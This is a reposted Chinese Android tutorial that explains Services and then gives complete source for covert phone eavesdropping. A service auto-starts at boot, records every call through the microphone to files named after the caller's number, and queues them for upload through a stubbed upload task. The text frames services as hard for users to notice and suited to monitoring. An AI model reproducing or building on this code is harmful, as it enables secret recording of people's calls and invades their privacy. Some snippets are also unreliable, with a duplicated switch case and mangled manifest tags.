歡迎您光臨本站 註冊首頁

Android服務Service----實現電話監聽錄音

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  

Android中的服務和windows中服務是類似的東西,服務一般沒有用戶操作界面,它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。服務的開發比較簡單,如下:

 

第一步,繼承Service類

 

       publicclass SMSService extends Service{}

 

第二步,在AndroidManifest.xml文件中的節點裡對服務進行配置:

 

      

 

服務不能自己運行,需要通過調用Context.startService()或Context.bindService()方法啟動服務。這兩個方法都可以啟動Service,但是它們的使用場合有所不同。使用startService()方法啟用服務,調用者與服務之間沒有關連,即使調用者退出了,服務仍然運行。使用bindService()方法啟用服務,調用者與服務綁定在了一起,調用者一旦退出,服務也就終止。

 

採用Context.startService()方法啟動服務,在服務未被創建時,系統會先調用服務的onCreate()方法,接者調用onStart()方法。如果調用startService()方法前服務已經被創建,多次調用startService()方法並不會導致多次創建服務,但會導致多次調用onStart()方法,採用startService()方法啟動的服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。

 

電話竊聽:

 

要實現電話竊聽,需要監聽電話的狀態,方法如下:

 

TelephonyManager telManager =(TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);

 

telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);

 

 

 

private class TelListener extends PhoneStateListener{

 

       @Override

 

       public void onCallStateChanged(int state, StringincomingNumber) {

 

           try{

 

              switch (state) {

 

                  case TelephonyManager.CALL_STATE_IDLE: //無任何狀態時

 

                     break;

 

                  case TelephonyManager.CALL_STATE_OFFHOOK: //接起電話時

 

                     break;

 

case TelephonyManager.CALL_STATE_OFFHOOK: //接起電話時

 

                     break;

 

                  default:

 

                     break;

 

                  }

 

              }catch (Exception e) {

 

                  e.printStackTrace();

 

           }

 

           super.onCallStateChanged(state, incomingNumber);

 

       }

 

      

 

    }

 

 

 

在清單文件AndroidManifest.xml中添加許可權

 

 

 

音頻採集:

 

你可以使用手機進行現場錄音,實現步驟如下:

 

第一步:在功能清單文件AndroidManifest.xml中添加音頻刻錄許可權

 

 

 

第二步:編寫音頻刻錄代碼:

 

MediaRecorder recorder = new MediaRecorder();

 

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音

 

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //內容輸出格式

 

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式

 

File audioFile = new File(getCacheDir(), incomingNumber + "_" + System.currentTimeMillis()+ ".3gp");

 

recorder.setOutputFile(audioFile.getAbsolutePath());

 

recorder.prepare(); //預期準備

 

recorder.start(); //開始刻錄

 

…………

 

recorder.stop(); //停止刻錄

 

recorder.reset();  //重設

 

recorder.release(); //釋放資源

 

採用Context.bindService()方法啟動服務,在服務未被創建時,系統會先調用服務的onCreate()方法,接著調用onBind()方法,這個時候調用者和服務綁定在一起,如果客戶端要與服務進行通信,那麼,onBind()方法必須返回IBinder對象,如果調用者退出了,系統就會先調用服務的onUnbind()方法,接著調用onDestroy()方法,如果調用bindService()方法前服務已經被綁定,多次調用bindService()方法並不會導致多次創建服務及綁定(也就是說onCreate()和onBind()方法並不會被多次調用),如果調用者希望與正在綁定的服務解除綁定,可以調用nbindService()方法,調用 該方法也會導致系統調用服務的onUnbind() --> onDestroy()方法。

 

事例:

 

開機啟動監聽服務

 

package com.king.phone;  

  

import Android.content.BroadcastReceiver;  

import Android.content.Context;  

import Android.content.Intent;  

import Android.util.Log;  

  

public class BootBroadcastReceiver extends BroadcastReceiver{  

  

    private static final String TAG = "PhoneListener";  

    @Override  

    public void onReceive(Context context, Intent intent) {  

        Log.i(TAG, "boot completed received");  

        Intent service = new Intent(context, PhoneListenService.class);  

        context.startService(service);  

    }  

  

}  

 

 

監聽來電信息,並進行錄音,上傳

 

package com.king.phone;  

  

import java.io.File;  

  

import Android.app.Service;  

import Android.content.Context;  

import Android.content.Intent;  

import Android.media.MediaRecorder;  

import Android.os.IBinder;  

import Android.telephony.PhoneStateListener;  

import Android.telephony.TelephonyManager;  

import Android.util.Log;  

  

public class PhoneListenService extends Service{  

  

    private static final String TAG = "PhoneListener";  

    @Override  

    public void onCreate() {  

        TelephonyManager telManager = (TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);  

        telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);  

        Log.i(TAG, "service created");  

        super.onCreate();  

    }  

      

    @Override  

    public void onDestroy() {  

        //清空緩存目錄下的所有文件  

        File[] files = getCacheDir().listFiles();  

        if(files != null){  

            for(File f : files ){  

                f.delete();  

            }  

        }  

        Log.i(TAG, "service destroy");  

        super.onDestroy();  

    }  

      

    private class TelListener extends PhoneStateListener{  

  

        private MediaRecorder recorder;  

        private String mobile;  

        private File audioFile;  

        private boolean record;  

          

        @Override  

        public void onCallStateChanged(int state, String incomingNumber) {  

            try{  

                switch (state) {  

                    case TelephonyManager.CALL_STATE_IDLE: //無任何狀態時  

                        if(record){  

                            recorder.stop(); //停止刻錄  

                            recorder.release(); //釋放資源  

                            record = false;  

                            new Thread(new UploadTask()).start();  //將錄音文件上傳  

                        }  

                        break;  

                    case TelephonyManager.CALL_STATE_OFFHOOK: //接起電話時  

                        recorder = new MediaRecorder();  

                        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音  

                        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //內容輸出格式  

                        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式  

                        audioFile = new File(getCacheDir(), incomingNumber + "_" + System.currentTimeMillis() + ".3gp");  

                        recorder.setOutputFile(audioFile.getAbsolutePath());  

                        recorder.prepare(); //預期準備  

                        recorder.start(); //開始刻錄  

                        record = true;  

                        Log.i(TAG, "start record");  

                        break;  

                    case TelephonyManager.CALL_STATE_RINGING: //電話進來時  

                        mobile = incomingNumber;  

                        Log.i(TAG, incomingNumber + " coming");  

                        break;  

          

                    default:  

                        break;  

                      

                    }  

                }catch (Exception e) {  

                    e.printStackTrace();  

            }  

            super.onCallStateChanged(state, incomingNumber);  

        }  

          

    }  

      

    private final class UploadTask implements Runnable{  

  

        @Override  

        public void run() {  

            //上傳文件操作  

        }  

          

    }  

      

      

    @Override  

    public IBinder onBind(Intent intent) {  

        // TODO Auto-generated method stub  

        return null;  

    }  

  

}  

AndroidManifest.xml

 

xml version="1.0" encoding="utf-8"?>  

<manifest xmlns:Android="http://schemas.android.com/apk/res/android"  

      package="com.king.phone"  

      Android:versionCode="1"  

      Android:versionName="1.0">  

    <uses-sdk Android:minSdkVersion="8" />  

  

    <application Android:icon="@drawable/icon" android:label="@string/app_name">  

        <service Android:name=".PhoneListenService">service>  

        <receiver Android:name=".BootBroadcastReceiver">  

            <intent-filter>  

                <action Android:name="android.intent.action.BOOT_COMPLETED"/>  

            intent-filter>  

        receiver>  

              

    application>  

    <uses-permission Android:name="android.permission.RECORD_AUDIO"/>  

    <uses-permission  Android:name="android.permission.INTERNET"/>  

    <uses-permission Android:name="android.permission.READ_PHONE_STATE"/>  

    <uses-permission Android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>  

  

manifest>  

(完)



[火星人 ] Android服務Service----實現電話監聽錄音已經有531次圍觀

http://coctec.com/docs/program/show-post-71523.html